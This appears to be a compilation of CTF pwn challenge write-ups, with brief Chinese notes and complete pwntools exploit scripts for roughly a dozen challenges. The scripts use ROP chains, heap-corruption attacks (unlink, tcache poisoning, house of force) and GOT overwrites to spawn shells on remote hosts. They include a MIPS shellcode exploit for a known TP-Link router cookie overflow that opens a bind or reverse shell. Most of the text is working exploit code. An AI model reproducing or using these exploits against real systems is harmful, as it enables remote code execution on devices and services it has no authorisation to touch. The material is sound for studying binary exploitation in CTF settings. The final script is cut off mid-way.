context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
ggg=asm(shellcraft.open('./flag'))+asm(shellcraft.read(3,0x601d00,0x100))+asm(shellcraft.write(1,0x601d00,0x100))
def pwn():
ret=0x400696
pop_rdi=0x400963
pop_rsi_r15=0x400961
main=0x400879
pop_rbp=0x400788
bss_addr=0x601800
pop_rsp_r13_r14_r15=0x40095d
read_plt=elf.plt[b"read"]
# for i in range(2):
# payload=cyclic(0x48)+p64(main)
# io.send(payload)
# payload=p64(elf.got[b"read"])*0x10
# io.send(payload)
# gdb.attach(io)
# pause()
payload=p64(bss_addr)*9+p64(ret)*0xb+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got[b"read"])*2+b"\x30\xf1\x8d"
io.send(payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"read"]
print("leak_addr: " + hex(leak_addr))
open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
mprotect_a=leak_addr+libc.sym[b"mprotect"]
pop_rdx=leak_addr+0x1b96
syscall_ret=leak_addr+0x0b1165
pop_rax=leak_addr+0x1ced0
payload=p64(bss_addr)*9+p64(ret)*0xb+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss_addr)*2+p64(read_plt)+p64(0x400720)
io.send(payload)
io.send(ggg)
mpp=p64(pop_rdi)+p64(0x601000)+p64(pop_rsi_r15)+p64(0x1000)+p64(0)+p64(pop_rdx)+p64(7)+p64(mprotect_a)+p64(0x400720)
payload=p64(bss_addr)*9+mpp
io.send(payload)
# gdb.attach(io)
# pause()
payload=p64(bss_addr)*10
io.send(payload)
sleep(0.2)
t=io.recv()
print(t)
while True:
try:
# io=process("./silent")
io=remote("172.10.0.8",9999)
elf=ELF("./silent")
libc=elf.libc
pwn()
except:
io.close()
continue
# Gadgets information
# ============================================================
# 0x0000000000400876 : leave ; ret
# 0x00000000004007e2 : mov byte ptr [rip + 0x20084f], 1 ; pop rbp ; ret
# 0x00000000004008f7 : mov eax, 0 ; leave ; ret
# 0x000000000040095c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040095e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400960 : pop r14 ; pop r15 ; ret
# 0x0000000000400962 : pop r15 ; ret
# 0x000000000040095b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040095f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400788 : pop rbp ; ret
# 0x0000000000400963 : pop rdi ; ret
# 0x0000000000400961 : pop rsi ; pop r15 ; ret
# 0x000000000040095d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400696 : ret
# Unique gadgets found: 14
dfjk2022_smallcontainer:
没有uaf,不过edit的时候有check()
会检查输入是否为\x11
,会将\x11
置0,我们只需要将edit的堆块全部写满\x11
,指针递增到下个堆块的\x11
也会置0,这样我们就有一个off by null了
show无检查可以泄露libc
后面构造unlink即可,注意构造unlink的触发堆块不能在tcache里面
unlink后chunk overlap,最后tcachebin attack劫持__free_hook
为one_gadget
即可
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./service")
io=remote("node4.anna.nssctf.cn",28820)
elf=ELF("./service")
libc=elf.libc
def add(s):
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"size: ",str(s))
def delete(n):
io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"index: ",str(n))
def edit(n,cc):
io.sendlineafter(b"> ",b"3")
io.sendlineafter(b"index: ",str(n))
io.send(cc)
def show(n):
io.sendlineafter(b"> ",b"4")
io.sendlineafter(b"index: ",str(n))
# gdb.attach(io)
# pause()
for i in range(8):
add(0x120)
add(0x130) #8
for i in range(8):
delete(i)
add(0x100) #0
show(0)
leak_addr=int(io.recv(12),16)-0x3ebdc0
print("leak_addr: ",hex(leak_addr))
sys_addr=leak_addr+libc.sym[b"system"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
shell=leak_addr+0x4f302
delete(0)
delete(8)
for i in range(7):
add(0x1f8)
add(0x1f8) #7
add(0x228) #8
add(0x200) #9
add(0x220) #10
add(0x228) #11
#unlink
for i in range(7):
delete(i)
delete(7)
payload=b"\x11"*0x228
edit(8,payload)
payload=b"\x11"*0x220+p64(0x430)
edit(8,payload)
payload=b"\x11"*0x1f8+p64(0x241)
edit(9,payload)
delete(9)
#overlap
delete(11)
delete(8)
add(0x250) #0
edit(0,b"\x00"*0x1f8+p64(0x230)+p64(free_hook))
add(0x228) #1
add(0x228) #2
edit(2,p64(shell))
delete(2)
io.interactive()
# 0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# 0x4f302 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a2fc execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
gkctf2020_domo:
add存在off by null,可以unlink构造chunk overlap
劫持__malloc_hook
为one_gadget
如果直接add调用__malloc_hook
会有检查
可以利用scanf输入过长数据触发malloc()
拿shell
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./domo")
io=remote("node4.anna.nssctf.cn",28478)
elf=ELF("./domo")
libc=elf.libc
def add(s,cc):
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"size:\n",str(s))
io.sendafter(b"content:\n",cc)
def delete(n):
io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"index:\n",str(n))
def show(n):
io.sendlineafter(b"> ",b"3")
io.sendlineafter(b"index:\n",str(n))
def edit(n,addr,cc):
io.sendlineafter(b"> ",b"4")
io.sendlineafter(b"addr:\n",str(addr))
io.sendafter(b"num:\n",cc)
# gdb.attach(io)
# pause()
add(0x100,b"nmsl") #0
add(0x20,b"gap") #1
delete(0)
add(0x100,b"a") #0
show(0)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c4b61
print("leak_addr: ",hex(leak_addr))
open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
shell=leak_addr+0xf1247
add(0xf0,b"aaa") #2
add(0x68,b"ddd") #3
add(0xf0,b"eee") #4
add(0xf0,b"gap") #5
delete(2)
delete(3)
add(0x68,b"\x00"*0x60+p64(0x170)) #2
delete(4)
delete(2)
add(0x108,cyclic(0xf8)+p64(0x70)+p64(malloc_hook-0x23))
add(0x60,b"rrr") #6
add(0x60,cyclic(0x13)+p64(shell)) #7
io.sendlineafter(b"> ",b"1"*0x10000)
io.interactive()
xyb2021_PassWordBox_FreeVersion:
add和show有异或操作,edit无,由于,所以采用\x00
泄露异或的key
add存在off by null,采用unlink打chunk overlap
然后2.27可以double free,劫持__free_hook
为one_gadget
即可
PassWordBox_FreeVersionfrom pwn import *
context(log_level="debug",arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwdFree")
io=remote("node4.anna.nssctf.cn",28820)
elf=ELF("./pwdFree")
libc=elf.libc
def add(s,cc):
io.sendlineafter(b"Choice:\n",b"1")
io.sendlineafter(b"Save:",b"aaa")
io.sendlineafter(b"Of Your Pwd:",str(s))
io.sendlineafter(b"Your Pwd:",cc)
def edit(n,cc):
io.sendlineafter(b"Choice:\n",b"2")
io.sendline(str(n))
io.send(cc)
def show(n):
io.sendlineafter(b"Choice:\n",b"3")
io.sendlineafter(b"Check:\n",str(n))
def delete(n):
io.sendlineafter(b"Choice:\n",b"4")
io.sendlineafter(b"Delete:\n",str(n))
# gdb.attach(io)
# pause()
add(0xf8,b"\x00"*8)
io.recvuntil(b"ID:")
key=u64(io.recv(8))
print("key: ",hex(key))
delete(0)
#unlink
for i in range(8):
add(0xf8,b"a")
add(0x68,b"aa") #8
add(0xf8,b"aa") #9
add(0x20,b"gap") #10
for i in range(8):
delete(i)
delete(8)
payload=p64(0xdeadbeef^key)*0xc+p64(0x170^key)
add(0x68,payload)
delete(9)
delete(8)
# ###
for i in range(7):
add(0xf8,b"www")
add(0xf8,b"aaa") #8
show(0)
io.recvuntil(b"is: ")
leak_addr=u64(io.recv(8))^key
leak_addr-=0x3ebca0
print("leak_addr: " + hex(leak_addr))
shell=leak_addr+0x4f432
free_hook=leak_addr+libc.sym[b"__free_hook"]
add(0x60,b"asd") #9
show(9)
delete(0)
edit(9,p64(0)*2)
show(9)
delete(9)
add(0x60,p64(free_hook^key))
add(0x60,b"a")
add(0x60,p64(shell^key))
delete(8)
io.interactive()
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a41c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
xyb2021_PassWordBox_ProVersion:
只能申请largebin大小范围的堆块,采用largebin attack打mp的方法,然后tcache poisoning带走
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwdPro")
io=remote("node4.anna.nssctf.cn",28934)
elf=ELF("./pwdPro")
libc=elf.libc
def add(n,s,cc):
io.sendlineafter(b"Choice:\n",b"1")
io.sendlineafter(b"Add:\n",str(n))
io.sendafter(b"Save:",b"a"*3)
io.sendlineafter(b"Pwd:",str(s))
io.sendlineafter(b"Pwd:",cc)
def edit(n,cc):
io.sendlineafter(b"Choice:\n",b"2")
io.sendlineafter(b"Edit:\n",str(n))
io.send(cc)
def show(n):
io.sendlineafter(b"Choice:\n",b"3")
io.sendlineafter(b"Check:\n",str(n))
def delete(n):
io.sendlineafter(b"Choice:\n",b"4")
io.sendlineafter(b"Delete:\n",str(n))
def recover(n):
io.sendlineafter(b"Choice:\n",b"5")
io.sendlineafter(b"Recover:\n",str(n))
# gdb.attach(io)
# pause()
add(0,0x5a0,b"\x00")
io.recvuntil(b"ID:")
key=u64(io.recv(8))
print("key: ",hex(key))
add(1,0x590,b"a"*8)
add(2,0x590,b"a"*8)
delete(0)
recover(0)
show(0)
io.recvuntil(b"is: ")
leak_addr=(u64(io.recv(8))^key)-0x1eb1e0
print("leak_addr: ",hex(leak_addr))
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
sys_addr=leak_addr+libc.sym[b"system"]
mp_addr=leak_addr+0x1eb2d0
### largebin_attack
add(15,0x800,b"a"*8)
payload=p64(leak_addr+0x1ec010)*2+p64(mp_addr-0x20)*2
edit(0,payload)
delete(2)
add(16,0x800,b"a")
###
add(6,0x600,b"a")
add(7,0x600,b"a")
add(8,0x600,b"a")
delete(6)
recover(6)
delete(7)
recover(7)
edit(7,p64(free_hook))
add(6,0x600,b"a")
add(7,0x600,b"a")
edit(7,p64(sys_addr))
edit(16,b"/bin/sh\x00")
delete(16)
io.interactive()
ycb2023_arrary_index_bank:
OOB read & write
int overflow bypass the check
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28794)
elf=ELF("./pwn")
# gdb.attach(io)
# pause()
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"account?\n",b"-2")
io.recvuntil(b"] = ")
stack_addr=int(io.recvuntil(b"\n",drop=True),10)
print("stack_addr: ",hex(stack_addr))
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"account?\n",b"-1")
io.recvuntil(b"] = ")
base_addr=int(io.recvuntil(b"\n",drop=True),10)-0x1426
print("base_addr: ",hex(base_addr))
win_addr=base_addr+0x1318
idx=((1<<63)+7)-(1<<64)
io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"account?\n",str(idx))
io.sendlineafter(b"much?\n",str(win_addr))
io.interactive()
ycb2023_eazy_force:
堆溢出写,任意大小分配可泄露libc,无pie,house of force模板题
劫持scanf_got为one_gadget
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28807)
elf=ELF("./pwn")
libc=elf.libc
scanf_got=0x602050
malloc_got=0x602040
def add(n,s,cc):
io.sendlineafter(b"away\n",b"1")
io.sendlineafter(b"index?\n",str(n))
io.sendlineafter(b"want?\n",str(s))
io.sendlineafter(b"write?\n",cc)
# gdb.attach(io)
# pause()
add(0,0x30000,b"nmsl")
# 0x5bb010
io.recvuntil(b"on ")
leak_addr=int(io.recv(14),16)-0x5bb010
print("leak_addr: ",hex(leak_addr))
shell=leak_addr+0x45226
payload=cyclic(0x28)+p64(0xFFFFFFFFFFFFFFFF)
add(1,0x20,payload)
io.recvuntil(b"on ")
top_chunk=int(io.recvuntil(b" is",drop=True),16)+0x20
print("top_chunk: ",hex(top_chunk))
add(2,scanf_got-top_chunk-0x20,b"")
# gdb.attach(io)
# pause()
add(3,0x10,p64(shell)*2)
io.interactive()
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
ycb2023_Printf_but_not_fmtstr:
2.36 uaf 创建堆块0x500-0x900
partial relro , pie disable , 给后门函数
打unsafe unlink
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28400)
elf=ELF("./pwn")
libc=elf.libc
win_addr=0x4011d6
chunk_list=0x4040e0
def add(n,s):
io.sendlineafter(b">",b"1")
io.sendlineafter(b"Index: ",str(n))
io.sendlineafter(b"Size: ",str(s))
def delete(n):
io.sendlineafter(b">",b"2")
io.sendlineafter(b"Index: ",str(n))
def edit(n,cc):
io.sendlineafter(b">",b"3")
io.sendlineafter(b"Index: ",str(n))
io.sendafter(b"Content: ",cc)
def show(n):
io.sendlineafter(b">",b"4")
io.sendlineafter(b"Index: ",str(n))
# gdb.attach(io)
# pause()
fd=chunk_list-0x18
bk=chunk_list-0x10
add(0,0x508) #0
add(1,0x508) #1
delete(0)
payload=p64(0)+p64(0x501)
payload+=p64(fd)+p64(bk)
payload=payload.ljust(0x500,b"\x00")
payload+=p64(0x500)
edit(0,payload)
delete(1)
payload=p64(0)*3+p64(elf.got[b"puts"])
edit(0,payload)
edit(0,p64(win_addr))
io.interactive()
cakectf2023_vtable4b:
泄露地址,观察指针就行了:
from pwn import *
# context(log_level='debug')
io=remote("vtable4b.2023.cakectf.com",9000)
io.recvuntil(b"win> = ")
win_addr=int(io.recv(14),16)
print("win_addr = " + hex(win_addr))
io.recvuntil(b"> ")
io.sendline(b"3")
pd_addr=int(io.recvuntil(b"<-- message",drop=True)[-36:-22],16)
print("pd_addr = " + hex(pd_addr))
io.recvuntil(b"ed0 | ")
tp_addr=int(io.recv(16),16)
print("tp_addr = " + hex(tp_addr))
io.recvuntil(b"> ")
io.sendline(b"2")
io.sendlineafter(b"Message: ",p64(win_addr)+b"\x00"*0x10+p64(0x21)+p64(pd_addr)+p64(pd_addr)[:-1])
io.recvuntil(b"> ")
io.sendline(b"1")
io.interactive()
cakectf2023_bofww:
cpp pwn,给了后门,partial relro,很明显只能aaw改__stack_chk_fail@GLIBC_2.4
为后门函数
程序最后会调用析构函数,一开始想过劫持_free_hook
,22.04打消这个念头
后面发现如果能控制rbp-0x128
的值就能实现任意地址写,然后一直找不到如何控制,卡老半天
结果发现前面程序流有memcpy
可以直接实现aaw,hh
► 0x7f6965f4d170 <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_replace(unsigned long,
unsigned long, char const*, unsigned long)+192> call memcpy@plt <memcpy@plt>
dest: 0x404050 (__stack_chk_fail@got.plt) —▸ 0x4010a0 ◂— endbr64
src: 0x7ffc682d34f0 —▸ 0x4012f6 (win()) ◂— endbr64
n: 0x3
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./bofww")
io=remote("bofww.2023.cakectf.com",9002)
elf=ELF("./bofww")
win_addr=0x4012f6
chk_fail=0x404050
# gdb.attach(io)
# pause()
payload=p64(win_addr)+p64(0)+p64(chk_fail)*0x30
io.sendlineafter(b"name? ",payload)
idx=((1<<31)+1)-(1<<32)
payload=str(idx)
io.sendlineafter(b"you? ",payload)
io.interactive()
cakectf2023_memorial_cabbage:
gdb调试发现memo_w
只需0xff0
bytes的数据就可以覆盖到tempdir
,而限制输入长度为0xfff
,存在溢出可以覆盖tempdir
为/flag.txt\x00
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./cabbage")
io=remote("memorialcabbage.2023.cakectf.com",9001)
# gdb.attach(io)
# pause()
io.sendlineafter(b"> ",b"1")
payload=cyclic(0xff0)+b"/flag.txt\x00"
io.sendlineafter(b"Memo: ",payload)
io.sendlineafter(b"> ",b"2")
io.interactive()
n1ctf_n1canary:
常规异常处理绕过canary(唬人的
from pwn import *
context(log_level='debug', arch='amd64', terminal=['tmux', 'splitw', '-h'])
io = process("./a")
backdoor = 0x403387
gdb.attach(
io, 'b *0x403405\nb *0x4037ee\nb *0x405128\nb *0x40512e\nb *0x404fd3\nb *0x404f6a')
payload = p64(0x4f4aa0)+p64(backdoor)
payload = payload.ljust(64, b"a")
io.sendafter(b"canary\n", payload)
io.sendlineafter(b"pwn :)\n", cyclic(0x68)+p64(0x403407)+p64(0x4f4aa0)*8)
print("offset:", cyclic_find(0x6261616362616162))
io.interactive()
nctf_2021_login
栈迁移后利用csu改close@got[plt]
低字节为\x99
构造syscall
之后ret到第二次read控制rax为0x3b
随后利用csu控制rdx
为0,构造execve("/bin/sh",0,0)
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28857)
elf=ELF("./pwn")
libc=elf.libc
ret=0x40101a
pop_rdi=0x401293
pop_rsi_r15=0x401291
leave_ret=0x40121f
read_plt=elf.plt[b"read"]
read_got=elf.got[b"read"]
read_text=0x04011ed
csu_1=0x40128a
# 0040128a 5b pop rbx {__saved_rbx}
# 0040128b 5d pop rbp {__saved_rbp}
# 0040128c 415c pop r12 {__saved_r12}
# 0040128e 415d pop r13 {__saved_r13}
# 00401290 415e pop r14 {__saved_r14}
# 00401292 415f pop r15 {__saved_r15}
# 00401294 c3 retn {__return_addr}
csu_2=0x401270
# 00401270 4c89f2 mov rdx, r14
# 00401273 4c89ee mov rsi, r13
# 00401276 4489e7 mov edi, r12d
# 00401279 41ff14df call qword [r15+rbx*8]
# gdb.attach(io)
# pause()
io.recvuntil(b"NCTF2021!\n")
#offset 0x110
payload=cyclic(0x100)+p64(0x404400)+p64(read_text)
io.send(payload)
# pre-modify close_got and prepare for rop chain
payload=p64(csu_1)+p64(0)+p64(0x1)+p64(0)+p64(elf.got[b"close"])+p64(0x200)+p64(read_got)
payload+=p64(csu_2)+b"/bin/sh\x00"
payload=payload.ljust(0x78,b"a")
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x404800)*2+p64(elf.sym[b"read"])
payload+=p64(csu_1)+p64(0)*2+p64(0x404340)+p64(0)+p64(0)+p64(elf.got[b"close"])+p64(csu_2)
payload=payload.ljust(0x100,b"a")+p64(0x404300-0x8)+p64(leave_ret)
io.send(payload)
# modify close_got
io.send(b"\x99")
# trigger
sleep(3)
io.send(b"a"*0x3b)
io.interactive()
# Gadgets information
# ============================================================
# 0x000000000040121f : leave ; ret
# 0x000000000040128c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040128e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401290 : pop r14 ; pop r15 ; ret
# 0x0000000000401292 : pop r15 ; ret
# 0x000000000040128b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040128f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040117d : pop rbp ; ret
# 0x0000000000401293 : pop rdi ; ret
# 0x0000000000401291 : pop rsi ; pop r15 ; ret
# 0x000000000040128d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# Unique gadgets found: 12
qwb2022_devnull
栈迁移+mprotect+shellcode
注意fgets
from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
# io=process("./devnull")
io=remote("node4.anna.nssctf.cn",28934)
elf=ELF("./devnull")
libc=elf.libc
mprotect=0x4012D0
w_addr=0x3fe000
pop_rbp=0x40129d
leave_ret=0x401354
mov_eax=0x401350
# gdb.attach(io)
# pause()
payload=cyclic(0x20)
io.sendafter(b"filename\n",payload)
payload=cyclic(0xc+8)+p64(w_addr)+p64(w_addr+0x10)+p64(leave_ret)
io.sendafter(b"discard\n",payload)
read_shellcode=asm('''
xor rax,rax
mov edi,0
push 0x3fea00
pop rsi
push 0x200
pop rdx
syscall
''')
call_shellcode=asm('''
mov rax,0x3fea00
call rax
''')
payload=p64(0x3fe000)+p64(0x3fe018)*2+p64(mov_eax)+p64(mprotect)+p64(0xdeadbeef)+p64(0x3fe038)+read_shellcode+call_shellcode
io.sendafter(b"data\n",payload)
# pause()
io.send(asm(shellcraft.sh()))
io.interactive()
# 0x0000000000401354: leave; ret;
# 0x000000000040101a: ret;
# 0x0000000000401351: mov eax, dword ptr [rbp - 0x18]; leave; ret;
# 0x000000000040129d: pop rbp; ret;
cqb_nmanager:
溢出绕过随机验证,栈上越界读写ROP
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./nmanager")
# io=remote("127.0.0.1",1234)
io=remote("8.147.135.190",44768)
elf=ELF("./nmanager")
libc=ELF("./libc.so.6")
ret=0x40101a
def modify(n,gd,age,name):
io.sendlineafter(b"modify ##\n",str(n))
io.sendafter(b"gender: ",gd)
io.sendlineafter(b"age: ",str(age))
io.sendafter(b"name: ",name)
def choice(n):
if n == 0:
io.sendafter(b"quit now?(Y/y)\n",b"n")
else:
io.sendafter(b"quit now?(Y/y)\n",b"y")
payload=b"./flag\x00\x00"+cyclic(0x58)+b"check passed".ljust(0x20,b"\x00")
io.sendlineafter(b"password: ",payload)
### leak libc
modify(8,b"nmsl"*2,0x10,b"aaa")
io.recvuntil(b"nmsl"*2)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x29d90
print("leak_addr: ",hex(leak_addr))
pop_rdi=leak_addr+0x2a3e5
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
choice(0)
### leak canary
modify(-1,b"a",0x10,b"aaa")
io.recvuntil(b"gender: a")
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary: ",hex(canary))
choice(0)
### rop
payload=p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)
modify(-1,payload,str_sh,p64(sys_addr))
choice(1)
io.interactive()
cqb_book
2.35,白给uaf,函数齐全,这里选择堆栈结合打rop,IO没好的模板实在不想看
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("8.147.135.190",13854)
elf=ELF("./pwn")
libc=elf.libc
def add(n,s):
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"Index:",str(n))
io.sendlineafter(b"size :",str(s))
def delete(n):
io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"Index:",str(n))
def show(n):
io.sendlineafter(b"> ",b"3")
io.sendlineafter(b"Index:",str(n))
def edit(n,cc):
io.sendlineafter(b"> ",b"4")
io.sendlineafter(b"Index:",str(n))
io.sendlineafter(b"content: ",cc)
# gdb.attach(io)
# pause()
for i in range(8):
add(i,0x90)
add(8,0x10)
for i in range(8):
delete(i)
show(7)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x219ce0
print("leak_addr: "+hex(leak_addr))
pop_rdi=leak_addr+0x2a3e5
# 0x000000000002a3e5: pop rdi; ret;
ret=leak_addr+0xf9e3c
# 0x00000000000f9e3c: ret;
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
environ=leak_addr+libc.sym[b"__environ"]
show(0)
key=u64(io.recv(5).ljust(8,b"\x00"))
heap_addr=key<<12
print("heap_addr: "+hex(heap_addr))
payload=p64(environ^key)+p64(0)
edit(4,payload)
add(4,0x90)
add(5,0x90)
add(6,0x90)
add(7,0x90)
show(7)
stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: "+hex(stack_addr))
ret_addr=stack_addr-0x188
# stack_addr 0x7fffffffdee8
# ret 0x7fffffffdda8
payload=p64(ret)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr)
for i in range(8,13):
add(i,0x100)
for i in range(8,12):
delete(i)
edit(11,p64(ret_addr^key))
add(8,0x100)
# gdb.attach(io)
# pause()
add(9,0x100)
edit(9,cyclic(0x28)+payload)
io.interactive()
utctf_webserver
分析过了,直接贴码
溢出导致的栈上参数可控写got指针,任意地址写堆地址,lowbyte写\x00
,改strstr
为strtol
vuln:
int header_count = 0;
int header_cap = 0;
struct Header *headers = NULL;
char *name = take_until_char(header_line, &index, ':');
char *value = take_until_newline(header_line, &index);
name = malloc_str(name);
value = malloc_str(value);
//skip this
if (header_count + 1 > header_cap) {
int new_cap = header_cap < 4 ? 4 : header_cap * 2;
headers = realloc(headers, sizeof(struct Header) * new_cap);
header_cap = new_cap;
}
struct Header h; # control h -> got_ptr
h.name = name; # got1 -> heap_addr1
h.value = value; # got2 -> heap_addr2
from pwn import *
context(log_level='debug', arch='amd64', terminal=['tmux', 'splitw', '-h'])
io = process("./webserver")
# io = remote("guppy.utctf.live", 5848)
io.send(b"GET /flag.txt HTTP/1.1\r\n")
#
gdb.attach(io)
pause()
headers = b"1:1\x00" # prepare for overflow && make heap addr
payload = headers
# skip if condition
payload += b"\x01"*(0x350-0x30-len(headers))
# 0x402380 <main+665> mov rax, qword ptr [rbp - 0x30]
# ...
# 0x402399 <main+690> mov qword ptr [rcx + 8], rdx <exit@got[plt]+1>
payload += p64(0x4050e0-0xf) # rcx
payload += b"\r\n"
payload += b"\r\n"
io.send(payload)
io.send(b"a"*0x20000)
io.interactive()
utctf_ecorp
ref:
https://blog.viettelcybersecurity.com/tp-link-tl-wr940n-httpd-httprpmfs-stack-based-buffer-overflow-remote-code-execution-vulnerability/
https://blog.talosintelligence.com/vulnerability-deep-dive-tp-link/
题目给出的固件版本对应第一篇中固件版本,headers中的cookie存在缓冲区溢出,故该漏洞可以直接打
题目要求需要反弹shell
题目给出固定的栈地址,并且admin给出提示
Nope you can just jump to shellcode On a real router u would have needed to rop to sleep or flush the cache another way Or find a way to write ur code without a decoder...u don't need to deal with cache coherence unless ur code modifies itself
不需要考虑cache incohorency,直接跳转执行shellcode
不过该漏洞触发时会调用toUpper()
将小写字母转换为大写字母
stage1考虑构造read
绕过,read(socketfd,buf,size)
shellcraft
中的findpeer
可以直接将socketfd
存入$s0
中
stage2读入反弹shell的shellcode,这里方法不唯一,包括但不限于
bindsh
& connect+dupsh
& findpeersh
from pwn import *
context(arch='mips', endian='big', os='linux')
nop = asm('addiu $a0, $a0, 0x4141')
avoid = string.ascii_lowercase.encode() + b"\x00"
addr = 0x7c7ffa90
# sh = listen(1440)
io = remote('192.168.0.1', 80)
# stage 1
# find peer socketfd and save it to $s0
sc = asm(shellcraft.findpeer(io.lport))
# read sc2 to addr
sc += asm(shellcraft.read('$s0', addr, 0x200))
sc += asm(f'''
lui $t9, {addr >> 16}
ori $t9, $t9, {addr & 0xffff}
jalr $t9
addiu $a0, $a0, 0x4141
''')
print("sc::", sc)
assert all(c not in avoid for c in sc)
payload = b"A"*0x10+p32(addr)+nop*100+sc
request = b"GET /loginFs/passwd HTTP/1.1\r\n"
request += b"Host: 192.168.0.1\r\n"
request += b"Referer: http://192.168.0.1/\r\n"
request += b"Cookie: "+payload+b"\r\n"
request += b"Upgrade-Insecure-Requests: 1\r\n"
request += b"\r\n"
io.send(request)
pause()
# stage 2
# sc2 = asm(shellcraft.findpeersh(io.lport))
# sc2 = asm(shellcraft.connect("192.168.0.2", 1440))+asm(shellcraft.dupsh())
sc2 = asm(shellcraft.bindsh(1440))
io.send(sc2)
io.interactive()
# sh.wait_for_connection()
# sh.interactive()
log.progress("connecting to shell")
sh1 = remote("192.168.0.1", 1440)
sh1.interactive()
dam_add1:
主函数while循环,输入字母触发stoi
异常处理退出循环,覆盖rbp
为可写地址,ret
为landingpad+1
寻找landingpad
一般方法:
Look around in libstdc++
for a catch
block that just ignores the exception and returns from its function: https://github.com/gcc-mirror/gcc/blob/4b8e7b57d952a1031b0fe11533ef76b9821432c0/libstdc%2B%2B-v3/src/c%2B%2B98/ios_init.cc#L144
- A good way to narrow down the search space is to search for references to
__cxa_end_catch
, which is called bycatch
blocks that do not rethrow the exception.
exp:
from pwn import *
context(log_level='debug', arch='amd64', terminal=['tmux', 'splitw', '-h'])
io = process("./add1")
elf = ELF("./add1")
libc = elf.libc
def add(cc):
io.sendlineafter(b"Enter a number: ", cc)
# gdb.attach(io, 'b *0x555555569db7')
# gdb.attach(io)
# pause()
# leak canary
payload = b"0"+b"a"*0x18
add(payload)
